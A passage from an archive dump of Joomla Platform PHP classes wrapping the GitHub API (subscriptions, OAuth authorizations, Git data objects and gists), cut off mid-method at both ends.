'ignored' => $ignored,
);
return $this->processResponse(
$this->client->put($this->fetchUrl($path), json_encode($data))
);
}
/**
* Delete a Repository Subscription.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function deleteSubscription($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/subscription';
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
/**
* Check if you are watching a repository (LEGACY).
*
* Requires for the user to be authenticated.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return object
*/
public function check($owner, $repo)
{
// Build the request path.
$path = '/user/subscriptions/' . $owner . '/' .
$repo;
$response = $this->client->get($this->fetchUrl($path));
switch ($response->code)
{
case '204' :
// This repository is watched by you.
return true;
break;
case '404' :
// This repository is not watched by you.
return false;
break;
}
throw new UnexpectedValueException('Unexpected response code: '
. $response->code);
}
/**
* Watch a repository (LEGACY).
*
* Requires for the user to be authenticated.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function watch($owner, $repo)
{
// Build the request path.
$path = '/user/subscriptions/' . $owner . '/' .
$repo;
return $this->processResponse(
$this->client->put($this->fetchUrl($path), ''),
204
);
}
/**
* Stop watching a repository (LEGACY).
*
* Requires for the user to be authenticated.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function unwatch($owner, $repo)
{
// Build the request path.
$path = '/user/subscriptions/' . $owner . '/' .
$repo;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
github/package/activity.php000064400000001373151171674100011775
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Activity class for the Joomla Platform.
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*
* @documentation https://developer.github.com/v3/activity/
*
* @property-read JGithubPackageActivityEvents $events GitHub API object
for markdown.
*/
class JGithubPackageActivity extends JGithubPackage
{
protected $name = 'Activity';
protected $packages = array('events', 'notifications',
'starring', 'watching');
}
github/package/authorization.php000064400000020373151171674100013042
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Authorization class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/oauth/
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageAuthorization extends JGithubPackage
{
/**
* Method to create an authorization.
*
* @param array $scopes A list of scopes that this authorization is
in.
* @param string $note A note to remind you what the OAuth token is
for.
* @param string $url A URL to remind you what app the OAuth token
is for.
*
* @throws DomainException
* @since 3.1.4
*
* @return object
*/
public function create(array $scopes = array(), $note = '', $url
= '')
{
// Build the request path.
$path = '/authorizations';
$data = json_encode(
array('scopes' => $scopes, 'note' => $note,
'note_url' => $url)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to delete an authorization
*
* @param integer $id ID of the authorization to delete
*
* @throws DomainException
* @since 3.1.4
*
* @return object
*/
public function delete($id)
{
// Build the request path.
$path = '/authorizations/' . $id;
// Send the request.
$response = $this->client->delete($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 204)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to edit an authorization.
*
* @param integer $id ID of the authorization to edit
* @param array $scopes Replaces the authorization scopes with
these.
* @param array $addScopes A list of scopes to add to this
authorization.
* @param array $removeScopes A list of scopes to remove from this
authorization.
* @param string $note A note to remind you what the OAuth
token is for.
* @param string $url A URL to remind you what app the OAuth
token is for.
*
* @throws RuntimeException
* @throws DomainException
* @since 3.1.4
*
* @return object
*/
public function edit($id, array $scopes = array(), array $addScopes =
array(), array $removeScopes = array(), $note = '', $url =
'')
{
// Check if more than one scopes array contains data
$scopesCount = 0;
if (!empty($scopes))
{
$scope = 'scopes';
$scopeData = $scopes;
$scopesCount++;
}
if (!empty($addScopes))
{
$scope = 'add_scopes';
$scopeData = $addScopes;
$scopesCount++;
}
if (!empty($removeScopes))
{
$scope = 'remove_scopes';
$scopeData = $removeScopes;
$scopesCount++;
}
// Only allowed to send data for one scope parameter
if ($scopesCount >= 2)
{
throw new RuntimeException('You can only send one scope key in this
request.');
}
// Build the request path.
$path = '/authorizations/' . $id;
$data = json_encode(
array(
$scope => $scopeData,
'note' => $note,
'note_url' => $url,
)
);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get details about an authorised application for the
authenticated user.
*
* @param integer $id ID of the authorization to retrieve
*
* @throws DomainException
* @since 3.1.4
* @note This method will only accept Basic Authentication
*
* @return object
*/
public function get($id)
{
// Build the request path.
$path = '/authorizations/' . $id;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get the authorised applications for the authenticated user.
*
* @throws DomainException
* @since 3.1.4
* @note This method will only accept Basic Authentication
*
* @return object
*/
public function getList()
{
// Build the request path.
$path = '/authorizations';
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get the rate limit for the authenticated user.
*
* @throws DomainException
* @since 3.1.4
*
* @return object
*/
public function getRateLimit()
{
// Build the request path.
$path = '/rate_limit';
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* 1. Request authorization on GitHub.
*
* @param string $clientId The client ID you received from GitHub
when you registered.
* @param string $redirectUri URL in your app where users will be sent
after authorization.
* @param string $scope Comma separated list of scopes.
* @param string $state An unguessable random string. It is used
to protect against
* cross-site request forgery attacks.
*
* @since 3.3 (CMS)
*
* @return JUri
*/
public function getAuthorizationLink($clientId, $redirectUri =
'', $scope = '', $state = '')
{
$uri = new JUri('https://github.com/login/oauth/authorize');
$uri->setVar('client_id', $clientId);
if ($redirectUri)
{
$uri->setVar('redirect_uri', urlencode($redirectUri));
}
if ($scope)
{
$uri->setVar('scope', $scope);
}
if ($state)
{
$uri->setVar('state', $state);
}
return (string) $uri;
}
/**
* 2. Request the access token.
*
* @param string $clientId The client ID you received from GitHub
when you registered.
* @param string $clientSecret The client secret you received from
GitHub when you registered.
* @param string $code The code you received as a response to
Step 1.
* @param string $redirectUri URL in your app where users will be
sent after authorization.
* @param string $format The response format (json, xml, ).
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return string
*/
public function requestToken($clientId, $clientSecret, $code, $redirectUri
= '', $format = '')
{
$uri = 'https://github.com/login/oauth/access_token';
$data = array(
'client_id' => $clientId,
'client_secret' => $clientSecret,
'code' => $code,
);
if ($redirectUri)
{
$data['redirect_uri'] = $redirectUri;
}
$headers = array();
switch ($format)
{
case 'json' :
$headers['Accept'] = 'application/json';
break;
case 'xml' :
$headers['Accept'] = 'application/xml';
break;
default :
if ($format)
{
throw new UnexpectedValueException('Invalid format');
}
break;
}
// Send the request.
return $this->processResponse(
$this->client->post($uri, $data, $headers),
200, false
);
}
}
github/package/data/blobs.php000064400000003465151171674100012157
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Data Blobs class for the Joomla Platform.
*
* Since blobs can be any arbitrary binary data, the input and responses
for the blob API
* takes an encoding parameter that can be either utf-8 or base64. If your
data cannot be
* losslessly sent as a UTF-8 string, you can base64 encode it.
*
* @documentation https://developer.github.com/v3/git/blobs/
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageDataBlobs extends JGithubPackage
{
/**
* Get a Blob.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
* @param string $sha The commit SHA.
*
* @return object
*/
public function get($owner, $repo, $sha)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/git/blobs/' . $sha;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Create a Blob.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
* @param string $content The content of the blob.
* @param string $encoding The encoding to use.
*
* @return object
*/
public function create($owner, $repo, $content, $encoding =
'utf-8')
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/git/blobs';
$data = array(
'content' => $content,
'encoding' => $encoding,
);
return $this->processResponse(
$this->client->post($this->fetchUrl($path),
json_encode($data)),
201
);
}
}
github/package/data/commits.php000064400000004276151171674100012532
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Data Commits class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/git/commits/
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageDataCommits extends JGithubPackage
{
/**
* Get a single commit.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The commit SHA.
*
* @return object
*/
public function get($owner, $repo, $sha)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/git/commits/' . $sha;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Method to create a commit.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $message The commit message.
* @param string $tree SHA of the tree object this commit points
to.
* @param array $parents Array of the SHAs of the commits that were
the parents of this commit.
* If omitted or empty, the commit will be
written as a root commit.
* For a single parent, an array of one SHA
should be provided.
* For a merge commit, an array of more than
one should be provided.
*
* @throws DomainException
* @since 3.0.0
*
* @return object
*/
public function create($owner, $repo, $message, $tree, array $parents =
array())
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/git/commits';
$data = json_encode(
array('message' => $message, 'tree' => $tree,
'parents' => $parents)
);
// Send the request.
return $this->processResponse(
$response = $this->client->post($this->fetchUrl($path), $data),
201
);
}
}
github/package/data/refs.php000064400000012016151171674100012005
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API References class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/git/refs/
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageDataRefs extends JGithubPackage
{
/**
* Method to get a reference.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $ref The reference to get.
*
* @return object
*
* @since 1.7.3
*/
public function get($user, $repo, $ref)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/git/refs/' . $ref;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list references for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $namespace Optional sub-namespace to limit the
returned references.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @return array
*
* @since 1.7.3
*/
public function getList($user, $repo, $namespace = '', $page =
0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/git/refs' . $namespace;
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to create a ref.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $ref The name of the fully qualified reference.
* @param string $sha The SHA1 value to set this reference to.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function create($user, $repo, $ref, $sha)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/git/refs';
// Build the request data.
$data = json_encode(
array(
'ref' => $ref,
'sha' => $sha,
)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to update a reference.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $ref The reference to update.
* @param string $sha The SHA1 value to set the reference to.
* @param boolean $force Whether the update should be forced. Default
to false.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function edit($user, $repo, $ref, $sha, $force = false)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/git/refs/' . $ref;
// Craete the data object.
$data = new stdClass;
// If a title is set add it to the data object.
if ($force)
{
$data->force = true;
}
$data->sha = $sha;
// Encode the request data.
$data = json_encode($data);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Delete a Reference
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $ref The reference to update.
*
* @since 3.3 (CMS)
* @return object
*/
public function delete($owner, $repo, $ref)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/git/refs/' . $ref;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
github/package/data/tags.php000064400000005533151171674100012012
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Data Tags class for the Joomla Platform.
*
* This tags API only deals with tag objects - so only annotated tags, not
lightweight tags.
*
* @documentation https://developer.github.com/v3/git/tags/
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageDataTags extends JGithubPackage
{
/**
* Get a Tag.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA1 value to set the reference to.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function get($owner, $repo, $sha)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/git/tags/' . $sha;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Create a Tag Object
*
* Note that creating a tag object does not create the reference that
makes a tag in Git.
* If you want to create an annotated tag in Git, you have to do this call
to create the tag object,
* and then create the refs/tags/[tag] reference. If you want to create a
lightweight tag,
* you simply have to create the reference - this call would be
unnecessary.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $tag The tag string.
* @param string $message The tag message.
* @param string $object The SHA of the git object this is
tagging.
* @param string $type The type of the object we’re tagging.
Normally this is a commit
* but it can also be a tree or a blob.
* @param string $taggerName The name of the author of the tag.
* @param string $taggerEmail The email of the author of the tag.
* @param string $taggerDate Timestamp of when this object was
tagged.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function create($owner, $repo, $tag, $message, $object, $type,
$taggerName, $taggerEmail, $taggerDate)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/git/tags';
$data = array(
'tag' => $tag,
'message' => $message,
'object' => $object,
'type' => $type,
'tagger_name' => $taggerName,
'tagger_email' => $taggerEmail,
'tagger_date' => $taggerDate,
);
return $this->processResponse(
$this->client->post($this->fetchUrl($path),
json_encode($data)),
201
);
}
}
github/package/data/trees.php000064400000006431151171674100012174
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Data Trees class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/git/trees/
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageDataTrees extends JGithubPackage
{
/**
* Get a Tree
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA1 value to set the reference to.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function get($owner, $repo, $sha)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/git/trees/' . $sha;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get a Tree Recursively
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA1 value to set the reference to.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getRecursively($owner, $repo, $sha)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/git/trees/' . $sha . '?recursive=1';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Create a Tree.
*
* The tree creation API will take nested entries as well. If both a tree
and a nested path
* modifying that tree are specified, it will overwrite the contents of
that tree with the
* new path contents and write a new tree out.
*
* Parameters fir the tree:
*
* tree.path
* String of the file referenced in the tree
* tree.mode
* String of the file mode - one of 100644 for file (blob), 100755 for
executable (blob),
* 040000 for subdirectory (tree), 160000 for submodule (commit) or
120000 for a blob
* that specifies the path of a symlink
* tree.type
* String of blob, tree, commit
* tree.sha
* String of SHA1 checksum ID of the object in the tree
* tree.content
* String of content you want this file to have - GitHub will write
this blob out and use
* that SHA for this entry. Use either this or tree.sha
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param array $tree Array of Hash objects (of path, mode, type
and sha) specifying
* a tree structure
* @param string $baseTree The SHA1 of the tree you want to update
with new data.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function create($owner, $repo, $tree, $baseTree = '')
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/git/trees';
$data = array();
$data['tree'] = $tree;
if ($baseTree)
{
$data['base_tree'] = $baseTree;
}
return $this->processResponse(
$this->client->post($this->fetchUrl($path),
json_encode($data)),
201
);
}
}
github/package/data.php000064400000004437151171674100011056
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API DB class for the Joomla Platform.
*
* https://developer.github.com/v3/git/
* Git DB API
*
* The Git Database API gives you access to read and write raw Git objects
to your Git database on GitHub and to list
* * and update your references (branch heads and tags).
*
* This basically allows you to reimplement a lot of Git functionality over
our API - by creating raw objects
* * directly into the database and updating branch references you could
technically do just about anything that
* * Git can do without having Git installed.
*
* Git DB API functions will return a 409 if the git repo for a Repository
is empty or unavailable.
* * This typically means it is being created still. Contact Support if
this response status persists.
*
* git db
*
* For more information on the Git object database, please read the Git
Internals chapter of the Pro Git book.
*
* As an example, if you wanted to commit a change to a file in your
repository, you would:
*
* get the current commit object
* retrieve the tree it points to
* retrieve the content of the blob object that tree has for that
particular file path
* change the content somehow and post a new blob object with that new
content, getting a blob SHA back
* post a new tree object with that file path pointer replaced with
your new blob SHA getting a tree SHA back
* create a new commit object with the current commit SHA as the parent
and the new tree SHA, getting a commit SHA back
* update the reference of your branch to point to the new commit SHA
*
* It might seem complex, but it’s actually pretty simple when you
understand the model and it opens up a ton of
* things you could potentially do with the API.
*
* @documentation https://developer.github.com/v3/git/
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageData extends JGithubPackage
{
protected $name = 'Data';
protected $packages = array('blobs', 'commits',
'refs', 'tags', 'trees');
}
github/package/gists/comments.php000064400000010435151171674100013116
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Gists Comments class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/gists/comments/
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageGistsComments extends JGithubPackage
{
/**
* Method to create a comment on a gist.
*
* @param integer $gistId The gist number.
* @param string $body The comment body text.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function create($gistId, $body)
{
// Build the request path.
$path = '/gists/' . (int) $gistId . '/comments';
// Build the request data.
$data = json_encode(
array(
'body' => $body,
)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to delete a comment on a gist.
*
* @param integer $commentId The id of the comment to delete.
*
* @throws DomainException
* @since 1.7.3
*
* @return void
*/
public function delete($commentId)
{
// Build the request path.
$path = '/gists/comments/' . (int) $commentId;
// Send the request.
$response = $this->client->delete($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 204)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
}
/**
* Method to update a comment on a gist.
*
* @param integer $commentId The id of the comment to update.
* @param string $body The new body text for the comment.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function edit($commentId, $body)
{
// Build the request path.
$path = '/gists/comments/' . (int) $commentId;
// Build the request data.
$data = json_encode(
array(
'body' => $body,
)
);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a specific comment on a gist.
*
* @param integer $commentId The comment id to get.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function get($commentId)
{
// Build the request path.
$path = '/gists/comments/' . (int) $commentId;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get the list of comments on a gist.
*
* @param integer $gistId The gist number.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getList($gistId, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/gists/' . (int) $gistId . '/comments';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
}
github/package/gists.php000064400000031443151171674100011273
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Gists class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/gists
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*
* @property-read JGithubPackageGistsComments $comments GitHub API
object for gist comments.
*/
class JGithubPackageGists extends JGithubPackage
{
protected $name = 'Gists';
protected $packages = array(
'comments',
);
/**
* Method to create a gist.
*
* @param mixed $files Either an array of file paths or a
single file path as a string.
* @param boolean $public True if the gist should be public.
* @param string $description The optional description of the gist.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function create($files, $public = false, $description = null)
{
// Build the request path.
$path = '/gists';
// Build the request data.
$data = json_encode(
array(
'files' => $this->buildFileData((array) $files),
'public' => (bool) $public,
'description' => $description,
)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to delete a gist.
*
* @param integer $gistId The gist number.
*
* @throws DomainException
* @since 1.7.3
*
* @return void
*/
public function delete($gistId)
{
// Build the request path.
$path = '/gists/' . (int) $gistId;
// Send the request.
$response = $this->client->delete($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 204)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
}
/**
* Method to update a gist.
*
* @param integer $gistId The gist number.
* @param mixed $files Either an array of file paths or a
single file path as a string.
* @param boolean $public True if the gist should be public.
* @param string $description The description of the gist.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function edit($gistId, $files = null, $public = null, $description
= null)
{
// Build the request path.
$path = '/gists/' . (int) $gistId;
// Create the data object.
$data = new stdClass;
// If a description is set add it to the data object.
if (isset($description))
{
$data->description = $description;
}
// If the public flag is set add it to the data object.
if (isset($public))
{
$data->public = $public;
}
// If a state is set add it to the data object.
if (isset($files))
{
$data->files = $this->buildFileData((array) $files);
}
// Encode the request data.
$data = json_encode($data);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to fork a gist.
*
* @param integer $gistId The gist number.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function fork($gistId)
{
// Build the request path.
$path = '/gists/' . (int) $gistId . '/fork';
// Send the request.
// TODO: Verify change
$response = $this->client->post($this->fetchUrl($path),
'');
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a single gist.
*
* @param integer $gistId The gist number.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function get($gistId)
{
// Build the request path.
$path = '/gists/' . (int) $gistId;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list gists. If a user is authenticated it will return the
user's gists, otherwise
* it will return all public gists.
*
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getList($page = 0, $limit = 0)
{
// Build the request path.
$path = '/gists';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a list of gists belonging to a given user.
*
* @param string $user The name of the GitHub user from which to
list gists.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getListByUser($user, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/users/' . $user . '/gists';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a list of all public gists.
*
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getListPublic($page = 0, $limit = 0)
{
// Build the request path.
$path = '/gists/public';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a list of the authenticated users' starred gists.
*
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getListStarred($page = 0, $limit = 0)
{
// Build the request path.
$path = '/gists/starred';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
